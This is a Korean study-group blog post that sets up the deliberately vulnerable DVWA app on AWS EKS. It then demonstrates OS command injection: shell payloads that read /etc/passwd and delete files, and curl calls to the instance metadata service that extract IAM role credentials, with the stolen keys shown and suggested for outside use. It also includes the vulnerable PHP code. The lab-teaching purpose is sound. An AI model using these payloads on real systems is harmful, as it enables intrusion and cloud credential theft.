EKS 8탄 - 6주차
본 내용은 CloudNet 주말 스터디 내용을 참고로 작성되었습니다.
https://gasidaseo.notion.site/gasidaseo/CloudNet-Blog-c9dfa44a27ff431dafdd2edacc8a1863
계속 테스트하며 내용과 설명이 업데이트 됩니다.
IMDS 보안 취약점
1
OWASP Kubernetes Top Ten 중 IMDS 악용 사례
참고자료
https://malwareanalysis.tistory.com/607
https://github.com/choisungwook/eks-practice/blob/main/dvwa_webapp/README.md
https://www.youtube.com/watch?v=0aIfpNReeBc&feature=youtu.be
https://www.youtube.com/watch?v=0aIfpNReeBc&feature=youtu.be
웹 모의해킹 실습 서버 [DVWA] 설치해 실습합니다.
2
eksctl 신규버전으로 설치하면 imds v2 로 생성된다.
watch -d kubectl get ingress,svc -A
3
AWS 콘솔
CERT Manager 에서 *.도메인 등록하자
Route 53에서 CNAME 과 TXT 등록하자
4
확인이 되어야 한다.
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN
5
아래 취약 시스템 3개 설치해 테스트 한다.
mysql 배포
dvwa 배포 - 취약한 서버
ingress 배포
mysql 배포
cat <<EOT > mysql.yaml
apiVersion: v1
kind: Secret
metadata:
name: dvwa-secrets
type: Opaque
data:
# s3r00tpa55
ROOT_PASSWORD: czNyMDB0cGE1NQ==
# dvwa
DVWA_USERNAME: ZHZ3YQ==
# p@ssword
DVWA_PASSWORD: cEBzc3dvcmQ=
# dvwa
DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
name: dvwa-mysql-service
spec:
selector:
app: dvwa-mysql
tier: backend
ports:
- protocol: TCP
port: 3306
targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: dvwa-mysql
spec:
replicas: 1
selector:
matchLabels:
app: dvwa-mysql
tier: backend
template:
metadata:
labels:
app: dvwa-mysql
tier: backend
spec:
containers:
- name: mysql
image: mariadb:10.1
resources:
requests:
cpu: "0.3"
memory: 256Mi
limits:
cpu: "0.3"
memory: 256Mi
ports:
- containerPort: 3306
env:
- name: MYSQL_ROOT_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: ROOT_PASSWORD
- name: MYSQL_USER
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_USERNAME
- name: MYSQL_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_PASSWORD
- name: MYSQL_DATABASE
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_DATABASE
EOT
kubectl apply -f mysql.yaml
6
dvwa 배포 - 취약한 서버
cat <<EOT > dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: dvwa-config
data:
RECAPTCHA_PRIV_KEY: ""
RECAPTCHA_PUB_KEY: ""
SECURITY_LEVEL: "low"
PHPIDS_ENABLED: "0"
PHPIDS_VERBOSE: "1"
PHP_DISPLAY_ERRORS: "1"
---
apiVersion: v1
kind: Service
metadata:
name: dvwa-web-service
spec:
selector:
app: dvwa-web
type: ClusterIP
ports:
- protocol: TCP
port: 80
targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: dvwa-web
spec:
replicas: 1
selector:
matchLabels:
app: dvwa-web
template:
metadata:
labels:
app: dvwa-web
spec:
containers:
- name: dvwa
image: cytopia/dvwa:php-8.1
ports:
- containerPort: 80
resources:
requests:
cpu: "0.3"
memory: 256Mi
limits:
cpu: "0.3"
memory: 256Mi
env:
- name: RECAPTCHA_PRIV_KEY
valueFrom:
configMapKeyRef:
name: dvwa-config
key: RECAPTCHA_PRIV_KEY
- name: RECAPTCHA_PUB_KEY
valueFrom:
configMapKeyRef:
name: dvwa-config
key: RECAPTCHA_PUB_KEY
- name: SECURITY_LEVEL
valueFrom:
configMapKeyRef:
name: dvwa-config
key: SECURITY_LEVEL
- name: PHPIDS_ENABLED
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHPIDS_ENABLED
- name: PHPIDS_VERBOSE
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHPIDS_VERBOSE
- name: PHP_DISPLAY_ERRORS
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHP_DISPLAY_ERRORS
- name: MYSQL_HOSTNAME
value: dvwa-mysql-service
- name: MYSQL_DATABASE
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_DATABASE
- name: MYSQL_USERNAME
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_USERNAME
- name: MYSQL_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_PASSWORD
EOT
kubectl apply -f dvwa.yaml
7
ingress 배포
cat <<EOT > dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
annotations:
alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
alb.ingress.kubernetes.io/group.name: study
alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
alb.ingress.kubernetes.io/scheme: internet-facing
alb.ingress.kubernetes.io/ssl-redirect: "443"
alb.ingress.kubernetes.io/success-codes: 200-399
alb.ingress.kubernetes.io/target-type: ip
name: ingress-dvwa
spec:
ingressClassName: alb
rules:
- host: dvwa.$MyDomain
http:
paths:
- backend:
service:
name: dvwa-web-service
port:
number: 80
path: /
pathType: Prefix
EOT
kubectl apply -f dvwa-ingress.yaml
echo -e "DVWA Web https://dvwa.$MyDomain"
(5분 걸림)
8
모니터링
watch -d kubectl get deploy,ingress,svc -A
정상 상태는 ingress에 address가 나와야 한다.
콘솔에서 EC2 > 로드밸런서에서 생성 완료 확인
타켓 그룹에 핼스 성공 서버가 1개 있는지 확인
웹접속
9
웹 접속 admin / password
처음엔 DB등 연결이 안되어 있다.
DB 구성을 위해 Create/Reset Database를 클릭한다.
재로그인 ⇒ admin / password
10
command injection 메뉴
# 명령 실행 가능 확인
8.8.8.8 ; echo ; hostname
8.8.8.8 ; echo ; whoami
11
# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==
12
# EC2 Instance Profile (IAM Role) 이름 확인
위에서 나온 토큰을 넣어야 한다.(사용자 마다 다르다)
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/
eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1H30SEASKL5M1
13
# EC2 Instance Profile (IAM Role) 자격증명탈취
위에서 나온 토큰을 넣어야 한다.
위에서 나온 롤 이름을 넣어야 한다. (사용자 마다 다르다)
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAIWuzQszvcrPwcz5tHUcmpL4Zh0gPe1NWuKLnyL7d46hSXyWxQ==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1H30SEASKL5M1
{
"Code" : "Success",
"LastUpdated" : "2023-05-28T08:57:40Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "AS2FJINHF",
"SecretAccessKey" : "vwYBXi/Utq",
"Token" : "IQoJb3JpZ2luX2VjECEaDmFwLW5vcnRoZWFzdC0yIkcwRQIgFGjfFf2Mw+PBWyyiwdvz/F4BTA9jWmHek7pktkfnI9V",
"Expiration" : "2023-05-28T15:03:24Z"
}
액세스 키와 시크릿키 토큰 탈취에 성공 했다!!!
이제 아무 서버나 내 PC에서 액세스 키와 시크릿키를 넣어 사용하자~~~
14
# 그외 다양한 명령 실행 가능
8.8.8.8; cat /etc/passwd
파일 삭제 가능.
8.8.8.8; rm -rf /tmp/*
15
(옵션) DVWA Security
: Medium 변경 후 시도 → 더 이상 명령 실행 안됨
16
Low Command Injection Source 사용경우 위와 같은 문제가 발생 한다.
낮은 수준 코드 입력시 - 문제 됨. 취약 코드.
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
17
Medium Command Injection Source
중간 코드 - 어느정도 안전한 코드
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
서버에 root로 로그온할수 있다.
1
블로그
https://malwareanalysis.tistory.com/606
2
동영상
https://www.youtube.com/watch?v=88c2iXZBm7w&feature=youtu.be
https://brunch.co.kr/@topasvga/3303
전체 보기
https://brunch.co.kr/@topasvga/3217
감사합니다.